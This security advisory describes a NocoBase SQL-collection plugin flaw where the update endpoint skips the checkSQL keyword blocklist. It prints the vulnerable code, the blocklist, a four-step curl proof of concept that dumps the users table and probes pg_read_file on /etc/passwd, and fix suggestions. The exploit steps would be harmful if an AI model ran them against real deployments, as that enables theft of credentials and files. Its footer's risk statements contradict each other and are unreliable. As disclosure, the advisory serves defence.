Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-wrwh-c28m-9jjh
No affected components available
Summary
The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.
Affected component: @nocobase/plugin-collection-sql
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)
Vulnerable Code
checkSQL is applied on create and execute
packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts
// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
// ...
}
checkSQL is NOT applied on update
// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
const transaction = await ctx.app.db.sequelize.transaction();
try {
const { upRes } = await updateCollection(ctx, transaction);
// No checkSQL() call anywhere in this path!
const [collection] = upRes;
await collection.load({ transaction, resetFields: true });
await transaction.commit();
}
// ...
}
The checkSQL function itself
packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28
export const checkSQL = (sql: string) => {
const dangerKeywords = [
'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
];
sql = sql.trim().split(';').shift();
if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
throw new Error('Only supports SELECT statements or WITH clauses');
}
if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
throw new Error('SQL statements contain dangerous keywords');
}
};
PoC
TOKEN="<admin_jwt_token>"
# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "exfil_collection",
"sql": "SELECT 1 as id",
"fields": [{"name": "id", "type": "integer"}],
"template": "sql"
}'
# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"
# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"sql": "SELECT * FROM users",
"fields": [
{"name": "id", "type": "integer"},
{"name": "email", "type": "string"},
{"name": "password", "type": "string"}
]
}'
# Returns: 200 OK — no validation!
# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
-H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes
Impact
- Confidentiality: Arbitrary
SELECTqueries exfiltrate any table. Confirmed dump of theuserstable including password hashes. - Integrity/Availability: Although
checkSQLstrips after the first semicolon, dangerous single-statement operations likeSELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file,LOAD_FILE,dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL,
dblinkenables lateral movement to other databases.pg_read_filereads arbitrary files from the database server filesystem.
Fix Suggestion
-
Add
checkSQL()to theupdateaction. The one-line fix:update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } -
Centralize validation in middleware rather than per-action. Apply
checkSQLin the resource middleware for any action that accepts asqlfield, so future actions cannot accidentally skip it. -
Strengthen the blocklist. The current list is missing
COPY(PostgreSQL file I/O and RCE),CREATE,ALTER,DROP,GRANT,SET, andEXECUTE. Consider switching to a parser-based allowlist that only permitsSELECTandWITH ... SELECTat the AST level rather than relying on keyword blocklisting.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard